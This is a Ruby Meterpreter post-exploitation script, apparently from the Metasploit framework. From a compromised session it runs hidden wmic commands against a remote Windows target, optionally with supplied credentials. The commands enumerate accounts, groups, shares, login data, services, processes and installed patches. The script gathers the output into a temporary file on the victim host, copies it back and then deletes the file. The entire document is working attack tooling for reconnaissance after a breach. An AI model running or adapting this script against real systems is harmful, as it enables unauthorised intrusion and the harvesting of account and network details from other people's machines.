# $Id: remotewinenum.rb 10277 2010-09-09 16:09:27Z darkoperator $
# $Revision: 10277 $
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
# Variables for Options
helpcall = 0
rusr = nil
rpass = nil
trg = ""
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-t"  => [ true,  "The target address"],
  "-u"  => [ true,  "User on the target system (If not provided it will use credential of process)"],
  "-p"  => [ true,  "Password of user on target system"]
)

# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')

# Create the log directory
::FileUtils.mkdir_p(logs)

# WMIC Commands that will be executed on the Target
wmic = [
	'environment list',
	'share list',
	'nicconfig list',
	'computersystem list',
	'useraccount list',
	'group list',
	'sysaccount list',
	'volume list brief',
	'logicaldisk get description,filesystem,name,size',
	'netlogin get name,lastlogon,badpasswordcount',
	'netclient list brief',
	'netuse get name,username,connectiontype,localname',
	'share get name,path',
	'nteventlog get path,filename,writeable',
	'service list brief',
	'process list brief',
	'startup list full',
	'rdtoggle list',
	'product get name,version',
	'qfe list'
]
################## Function Declarations ##################

# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmic,user,pass,trgt)
	print_status("Running WMIC Commands ....")
	tmpout = ''
	command = nil
	runfail = 0
 	runningas = session.sys.config.getuid
	begin
	tmp = session.fs.file.expand_path("%TEMP%")
	# Temporary file on windows host to store results
	wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"

	      wmic.each do |wmi|
		        if user == nil
		          print_status("The commands will be ran under the credentials of #{runningas}")
		          command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
		        else
		          command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
		        end
		        print_status "\trunning command wimic #{wmi}"
		        r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
		        sleep(1)
		        r = session.sys.process.execute("cmd.exe /c echo      Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
		        sleep(1)
		        r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
		        sleep(1)
		        #print_status "\twmic #{command}"
		        r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
			#Making sure that wmic finishes before executing next wmic command
			prog2check = "wmic.exe"
			found = 0
			sleep(2)
			while found == 0
				session.sys.process.get_processes().each do |x|
					found =1
					if prog2check == (x['name'].downcase)
						sleep(0.5)
						found = 0
					end
				end
			end
		        r.close
		      end
		      # Read the output file of the wmic commands
		      wmioutfile = session.fs.file.new(wmicfl, "rb")
		      until wmioutfile.eof?
		      	tmpout << wmioutfile.read
		      end
		      # Close output file in host
		      wmioutfile.close
	rescue ::Exception => e
    		print_status("Error running WMIC commands: #{e.class} #{e}")
	end
	# We delete the file with the wmic command output.
	c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
	c.close
	tmpout
end

#------------------------------------------------------------------------------
# Function to generate report header
def headerbuid(session,target,dest)
	# Header for File that will hold all the output of the commands
	info = session.sys.config.sysinfo
	header =  "Date:       #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
	header << "Running as: #{client.sys.config.getuid}\n"
	header << "From:       #{info['Computer']}\n"
	header << "OS:         #{info['OS']}\n"
	header << "Target:     #{target}\n"
	header << "\n\n\n"

	print_status("Saving report to #{dest}")
  header

end

#------------------------------------------------------------------------------
# Function Help Message
def helpmsg
	print(
    "Remote Windows Enumeration Meterpreter Script\n" +
    "This script will enumerate windows hosts in the target enviroment\n" +
    "given a username and password or using the credential under witch\n" +
    "Meterpeter is running using WMI wmic windows native tool.\n" +
    "Usage:\n" +
      @@exec_opts.usage
  )
end
################## MAIN ##################
if client.platform =~ /win32|win64/
	localos = session.sys.config.sysinfo

	# Check that the command is not being ran on a Win2k host
	# since wmic is not present in Windows 2000
	if localos =~ /(Windows 2000)/
		print_status("This script is not supported to be ran from Windows 2000 servers!!!")
	else
		# Parsing of Options
		@@exec_opts.parse(args) { |opt, idx, val|
			case opt

			when "-t"
				trg = val
			when "-u"
				rusr = val
			when "-p"
				rpass = val
			when "-h"
				helpmsg
				helpcall = 1
			end

		}
		#logfile name
		dest = logs + "/" + trg + filenameinfo
		# Executing main logic of the script
		if helpcall == 0 and trg != ""

			# Making sure that is running as System a Username and Password for target machine must be provided

			if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM" && rusr == nil && rpass == nil

				print_status("Stopped: Running as System and no user provided for connecting to target!!")

			else trg != nil && helpcall != 1

				file_local_write(dest,headerbuid(session,trg,dest))
				file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))

			end
		elsif helpcall == 0 and trg == ""

			helpmsg
		end
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end